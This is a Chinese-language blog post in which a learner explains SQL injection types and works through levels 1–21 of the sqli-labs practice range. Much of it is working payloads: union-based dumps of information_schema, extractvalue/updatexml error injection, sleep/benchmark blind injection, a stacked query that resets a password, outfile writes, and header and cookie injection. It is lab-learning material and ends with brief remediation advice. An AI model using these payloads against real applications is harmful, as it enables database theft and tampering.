sql注入漏洞
1.sql注入原理
我的看法就是因为前端或者后端没有对用户的输入做严格的过滤和判断,导致黑客可以构造对应的恶意sql语句,并被带入到sql命令中直接查询。
2.数据库基础
学这个一点要有点数据库基础,大概懂增删查改就行。大概指的是能看懂简单的语句逻辑和写出简单的SQL语句就行,真遇到不会的再查学习就行qaq。
3. sql注入种类及靶场练习
1)靶场搭建
利用phpstudy搭建sqli-labs靶场,这里就不再多叙述了。网上的资料挺多的。
2)判断闭合方式和注释
这个真的完全靠试,反正常用的有 ',",),有的时候也没有。这三个符号通常不止一个。
注释方式
--+
--空格
#
3)联合注入
order by 3 --+
union select1,2,3
database()
version()
user()
还要知道数据库information_schema
4)报错注入
extractvalue(1,concat(0x7e,database()))
updatexml(1,concat(0x7e,database()),2)
floor
5)布尔盲注
length(database())>9
substr(database(),1,1)
6)时间盲注
if(substr(database(),1,1),sleep(1),2)
if(substr(database(),1,1),benchmark(100000,1=1),2)
7)堆叠注入
1)原理
原理简单来说就是利用了sql语言以";"结尾,然后执行多条sql语句
2)条件
条件非常严苛。比如使用php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句。
简单来说,三个条件:1. 目标存在sql注入漏洞 2. 目标未对";"号进行过滤 3. 目标中间层查询数据库信息时可同时执行多条sql语句
3)练习(sqli-labs靶场38关)
payload:1’;update users set password=‘123’ where id=1–
(注意,这里的后面注释我这里是"–空格"
8)宽字节注入
1)原理简介
开发者为了防⽌出现SQL注⼊攻击,将⽤户输⼊的数据⽤addslashes等函数进⾏过滤。
addslashes等函数默认对单引号等特殊字符加上反斜杠“\”进⾏转义,这样就可以避免注⼊。宽字
节注⼊产⽣的原因是:Mysql在使⽤GBK编码的时候,如果第⼀个字符的ASCII码⼤于128,会认为
前两个字符是⼀个汉字,会将后⾯的转义字符\“吃掉”,将前两个字符拼接为汉字,这样就可以将
SQL语句闭合,造成宽字节注⼊。
上面讲的太麻烦了,简单来说就是对黑客构造的payload中的符号进行转义,然后我们就可以将“\”想办法让他失效,这里好像就是构造成汉字。也就是编码转换。让特殊字符逃逸。
2)预备知识
ascll编码、GBK编码
一个汉字=2个字节
一个字符=1个字节
一个字节=8个bit
单字符十六进制范围:
0~127
0000000~01111111
0x00~0x7F
也就是最高位为0
双字节(汉字):x+127>128
第一个字节范围是129-254,第二个字节是64-254
:92
3)练习(sqli-labs靶场32关)
这里有个还没有解决的玄学问题,我猜的不知道是不是有些服务端不能识别汉字,然后识别不了导致不能执行后面的sql语句。或者是哪里过滤了。
这里简单知道一下url编码,也就是对应字符的十六进制前面加%(希望我没理解错)
%27---------单引号‘
%20----------空格
%23-----------#号
%5c------------/反斜杠
不知道为什么大家都喜欢用%df去宽字节注入qaq:)
简单payload:-1%df’ union select 1,database(),3 --+
这里注意两个点,hackbar插件可能会对“%”编码,导致url中出现问题。第二个点还是注释的问题
4.sql靶场全练习
第一关
单纯的字符型
`
1’–+
1’ order by 4–+
1’ order by 3–+
-1’ union select 1,version(),database()–+
-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())–+
-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘emails’)–+
-1’ union select 1,2,(select group_concat(id) from emails)–+```
第二关
同第一关,只是是数字型
第三关
同第一关。只不过原来的数据库里面加入了括号,类似的也许会加入其他的符号。
只不过有点变化,要注意观察闭合,还要注意中英文的问题。
-1’) union select 1,version(),database()–+
第四关
第四关有意思的地方是他在源码中是拼接的双引号,然后再带到数据库查询语句中。然后语句中还有括号,所以这里说白了其实就是双引号和括号的结合。
-2") union select 1,2,database()–+
第五关
第五关和前四关有点不同。因为这一关不像前面一样有内容,这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。所以我使用报错注入。
观察源码,其实前面四关也有这个,好像也能使用报错注入。
1‘ and extractvalue(1,concat(0x7e,database()))--+
1' and updatexml(1,concat(0x7e,database()),5)--+
还有个floor函数的报错,但不太常用。
第六关
到这一关,如果不看源码,我还暂时想不到是双引号。单引号和数字型一点差别都没。剩下的和第五关一样
1" and updatexml(1,concat(0x7e,database()),5)–+
第七关
常用闭合方式有:
?id=1’–+
?id=1"–+
?id=1’)–+
?id=1")–+
?id=1’))–+
?id=1"))–+
这一关猜测到了有单引号,也想到了也许有括号,nnd,没想到两层括号。然后可恶,还把报错注入关了,那就只能使用布尔盲注了。结果发现还是不对。然后查看解法才知道,原来是要利用 outfile这条命令。
参考博客:https://blog.csdn.net/m0_71369515/article/details/134958149?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172128242816800225551813%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=172128242816800225551813&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-10-134958149-null-null.142v100pc_search_result_base6&utm_term=sqli%E7%9A%84%E9%9D%B6%E5%9C%BA&spm=1018.2226.3001.4187
我在总结下重点,必须在my.ini设置secure_file_priv=“”,然后才能有写的权限。
然后使用payload:
?id=-1’)) union select user(),version(),database() into outfile “C:\Users\admin\Desktop\database.txt” --+
-1’)) union select user(),version(),database() into outfile “D:\CTF_tools_path\phpStudy_64\phpstudy_pro\WWW\sqli-labs-master\Less-7” --+
草,一种植物。不知道为什么没办法把查询到的内容写入文件,难绷,结果再上网查查,发现可以使用布尔盲注。我真的是……
1’)) and (length(database())>8)–+
1’)) and (length(database())>7)–+
1’)) and (substr(dataase(),1,1)=‘s’)–+ 这里然后可以结合bp草叉模式设置两个字典去爆破。
第八关
跟第七关一样。但是网上说可以用脚本跑,怎么跑,这里貌似需要学习。
1’ and (substr(database(),1,1)=‘s’)–+
第九关
好吧,这一关我烧杯了。因为我怎么输入都不对,所以没猜到是什么闭合。然后看了源码才发现,不论输什么,返回结果都一样,真的是醉了。我那会儿就该想到。然后就应该使用时间盲注了。这里应该学习怎么使用脚本去跑了
这里有三个知识点需要知道,第一个是sleep()函数,第二个是benchmark()函数,第三个是if(,)。
1’ or if((substr(database(),1,1)=‘s’),sleep(1),1)–+
1’ or if((substr(database(),1,1)=‘s’),benchmark(1000000,1=1),1)–+
第十关
和第九关一样,只不过换成双引号就行。
第十一关
前面都是get方式传的,这里开始是post方式传参。
uname=’ union select database(),version()–+&passwd=123456&submit=Submit
第十二关
跟第十一管差不多,只不过这里是双引号加括号,有了前面机关的经验,这里很easy了
uname=1") union select database(),2–+&passwd=sss&submit=Submit
第十三关
这里首先试出来闭合的方式是’)。然后联合查询发现没有回显,那就只能试试报错注入了,发现可以。
uname=1’) and extractvalue(1,concat(0x7e,database()))–+&passwd=aaa&submit=Submit
查看源码,果然回显被关了。
第十四关
首先这一关无论怎么输入都没有回显,报错也没有。所以看看能不能使用时间盲注,发现可以
1" or if((substr(database(),1,1)=‘s’),sleep(1),1)–
草,一种高尚的植物。刚刚看了别人的博客,发现1"会报错,草,一种植物。
好吧,这一关和十三关差不多,只不过是闭合方式不一样
uname=1" and extractvalue(1,concat(0x7e,database()))–+&passwd=aaa&submit=Submit
第十五关
呵呵,这一关才是时间盲注
1’ or if((substr(database(),1,1)=‘s’),sleep(1),1)–+
呵呵,我看其他人博客用的报错注入,无敌啊,这都关了都还能报错注入。
第十六关
跟第十五关差不多,也是什么回显报错没有。然后只能试试时间盲注。
uname=1") or if((substr(database(),1,1)=‘s’),sleep(1),1)–+&passwd=aaa&submit=Submit
忘说了,时间盲注的话就注意观察时间。f12观察网络。
第十七关
这一关开始完全没懂。后面看了别人的博客才懂意思,这里是改密码的界面。然后源码好像是必须属于一个存在的用户,但是密码部分就可以使用报错注入了。
uname=Dumb&passwd=’ and updatexml(1,concat(0x7e,version()),1)–+&submit=Submit
看了源码之后,完全懂了。用户名必须存在,但是password可以进行闭合然后构造payload让他报错。
第十八关
这一关我只能说6。我以为每一关是互不影响的,结果这一关必须需要账号密码才行。所以回到17关改账号密码并记住。刚开始我还以为是要对那个ip绕一下。
User-Agent: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ’
第十九关
懂了十八关,这一关自然懂
第二十关
这一关是对cookie进行注入,但是我做这几关思路窄了,就完全借鉴的答案。完全没去考虑其他的注入方式,这里才想起来联合注入好像也可以。
Cookie: uname=’ union select 1,database(),3–+
第二十一关
我真的想笑有时候,我一开始就开出来了他好像加密了,但是不知道是什么加密,因为那个base64的等号莫名奇妙的变成了%3d,然后确实没看出来。看了答案才知道,就是要对payload加个密。
’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ’
JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkgYW5kICc=
暂时先写到这,以后有时间再继续玩玩这个靶场。对了,sqlmap的使用方式也下次专门出个博客或者在这篇博客补充。
5.对于sql漏洞修复建议
- 使用PDO预编译,防止sql注入
- 对变量进行过滤,过滤危险字符。